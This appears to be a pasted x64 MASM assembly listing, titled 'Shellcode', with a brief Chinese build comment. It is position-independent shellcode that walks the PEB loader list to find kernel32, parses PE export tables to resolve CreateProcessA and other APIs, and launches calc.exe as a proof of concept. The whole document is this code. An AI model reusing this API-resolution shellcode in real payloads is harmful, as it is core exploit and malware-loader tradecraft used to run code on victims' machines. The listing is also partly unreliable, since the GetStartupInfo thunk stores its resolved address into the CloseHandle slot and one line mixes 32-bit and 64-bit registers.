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编译工具 vs或者ddk携带的汇编编译器ml64- option casemap:none
- ;--------------------------------------------------------------------------------
- ;set name=Shellcode
- ;ml /c /coff /Cp /Fl /Gd /nologo %name%.asm
- ;link /SUBSYSTEM:CONSOLE /DEBUG /DEBUGTYPE:CV %name%.obj /OUT:%name%.exe
- ;PAUSE
- ;--------------------------------------------------------------------------------
-
- include shellcode.inc
- include macro.asm
- .code SHELL
- jmp _main ;5
- _thunk proc
- jmp QWORD ptr [rax] ;2
- _thunk endp
- CreateProcessA proc
- call @F ;5
- _imp__CreateProcessA QWORD offset _thunk__CreateProcessA ;8
- @@:
- pop rax ;1
- jmp _thunk ;2
- CreateProcessA endp
- CloseHandle proc
- call @F
- _imp__CloseHandle QWORD offset _thunk__CloseHandle
- @@:
- pop rax
- jmp _thunk
- CloseHandle endp
- GetStartupInfo proc
- call @F
- _imp__GetStartupInfoA QWORD offset _thunk__GetStartupInfo
- @@:
- pop rax
- jmp _thunk
- GetStartupInfo endp
- _KernelBase proc
- mov rax,(_TEB ptr gs:[0]).NtTib.Self
- mov rax,(_TEB ptr [rax]).ProcessEnvironmentBlock
-
- mov rax,(_PEB ptr [rax]).Ldr
- mov rax,(_PEB_LDR_DATA ptr [rax]).InInitializationOrderModuleList.Flink
-
- mov rdx,(_LIST_ENTRY ptr [rax]).Blink[SizeOf QWORD] ;ntdll
-
- mov rax,(_LIST_ENTRY ptr [rax]).Flink
- mov rcx,(_LIST_ENTRY ptr [rax]).Blink[SizeOf QWORD];KERNELBASE
-
-
- mov rax,(_LIST_ENTRY ptr [rax]).Flink
- mov rax,(_LIST_ENTRY ptr [rax]).Blink[SizeOf QWORD];kenrl32
-
- ret
- _KernelBase endp
- _StrLen proc uses rdi rcx
- or rcx,-1
- mov rdi,rax
- xor rax,rax
- repne scasb
- not rcx
- mov rax,rcx
- ret
- _StrLen endp
- _StrCmp proc uses rcx rsi rdi
-
- mov rax,rsi
- call _StrLen
-
- mov rcx,rax
-
- mov rax,rdi
- call _StrLen
-
- cmp rax,rcx
- jnz @F
- repe cmpsb
- mov rax,rcx
- @@:
- ret
- ret
- _StrCmp endp
- _GetProcAddress proc uses rsi rdi rbx
- mov rsi,rcx
-
- mov ax,(IMAGE_DOS_HEADER ptr [rsi]).e_magic
-
- cmp ax,"ZM"
- jz @F
-
- xor rax,rax
- jmp done
-
- @@:
- mov ebx,(IMAGE_DOS_HEADER ptr [rsi]).e_lfanew
- add rbx,rsi
-
- mov eax,(IMAGE_NT_HEADERS ptr [rbx]).Signature
- cmp eax,"EP"
- jz @F
- xor rax,rax
- jmp done
- @@:
-
- lea rbx,(IMAGE_NT_HEADERS ptr [rbx]).OptionalHeader
-
- mov ax,(_IMAGE_OPTIONAL_HEADER64 ptr [rbx]).Magic
- cmp ax,20Bh
- jz @F
- ;PE 32
- xor rax,rax
- jmp done
- @@:
-
- EXP EQU IMAGE_DIRECTORY_ENTRY_EXPORT*SizeOf _IMAGE_DATA_DIRECTORY
- mov ebx,(_IMAGE_OPTIONAL_HEADER64 ptr [ebx]).DataDirectory[EXP][_IMAGE_DATA_DIRECTORY.VirtualAddress]
-
- add rbx,rcx
-
-
- mov r9d,(IMAGE_EXPORT_DIRECTORY ptr [rbx]).AddressOfNames
- add r9,rcx
-
-
- xor r8,r8
-
- re:
- mov eax,[r9][r8*4]
- add rax,rcx
-
- mov si,[rax]
-
-
- cmp si,[rdx]
- jnz @F
-
- mov rsi,rax
- mov rdi,rdx
- call _StrCmp
-
- or rax,rax
- jnz @F
-
- mov edi,(IMAGE_EXPORT_DIRECTORY ptr [rbx]).AddressOfFunctions
- add rdi,rcx
-
- mov eax,(IMAGE_EXPORT_DIRECTORY ptr [rbx]).AddressOfNameOrdinals
- add rax,rcx
-
- movzx eax,word ptr [rax][r8*2]
- mov eax,[rdi][rax*4]
- add rax,rcx
-
- jmp done
-
- @@:
- inc r8
- cmp r8d,(IMAGE_EXPORT_DIRECTORY ptr [rbx]).NumberOfNames
- jb re
-
- xor rax,rax
- done:
- ret
- _GetProcAddress endp
- _thunk__CreateProcessA proc
- push r9
- push r8
- push rdx
- push rcx
- call _KernelBase
- mov rcx,rax
- call @F
- byte "CreateProcessA",0
- @@:
- pop rdx
- call _GetProcAddress
-
- mov _imp__CreateProcessA,rax
-
- pop rcx
- pop rdx
- pop r8
- pop r9
- push rax
- ret
- _thunk__CreateProcessA endp
- _thunk__CloseHandle proc
- push r9
- push r8
- push rdx
- push rcx
- call _KernelBase
- mov rcx,rax
- call @F
- byte "CloseHandle",0
- @@:
- pop rdx
- call _GetProcAddress
-
- mov _imp__CloseHandle,rax
-
- pop rcx
- pop rdx
- pop r8
- pop r9
- push rax
- ret
- _thunk__CloseHandle endp
- _thunk__GetStartupInfo proc
- push r9
- push r8
- push rdx
- push rcx
- call _KernelBase
- mov rcx,rax
- call @F
- byte "GetStartupInfoA",0
- @@:
- pop rdx
- call _GetProcAddress
-
- mov _imp__CloseHandle,rax
-
- pop rcx
- pop rdx
- pop r8
- pop r9
- push rax
- ret
- _thunk__GetStartupInfo endp
- _main proc uses rdi
- @LOCAL _si,STARTUPINFO
- @LOCAL _pi,PROCESS_INFORMATION
- END_LOCAL QWORD * 10
-
- and (STARTUPINFO ptr _si).cb,0
-
-
- fastcall CreateProcessA,rcx,0,0,0,0,0,0,0,addr _si,addr _pi
-
- or eax,eax
- jz @F
-
- fastcall CloseHandle,(PROCESS_INFORMATION ptr _pi).hThread
-
- fastcall CloseHandle,(PROCESS_INFORMATION ptr _pi).hProcess
-
-
- @@:
- EPILOG
- ret
- _main endp
- .code
- WinMainCRTStartup proc
- int 3
-
- call @F
- byte "calc.exe",0
- @@:
- pop rcx
- int 3
- call _main
-
- int 3
- ret
- WinMainCRTStartup endp
- end
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